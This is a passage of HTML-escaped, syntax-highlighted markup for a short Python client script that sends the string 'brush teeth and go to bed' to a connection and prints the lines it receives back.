&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;decode&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;brush teeth and go to bed&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;sendline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-type z-python&quot;&gt;bytes&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-arguments z-python&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;recvline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;decode&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;recvline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;decode&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;recvline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;decode&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;recvline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;decode&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;recvline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;decode&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;recvline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta 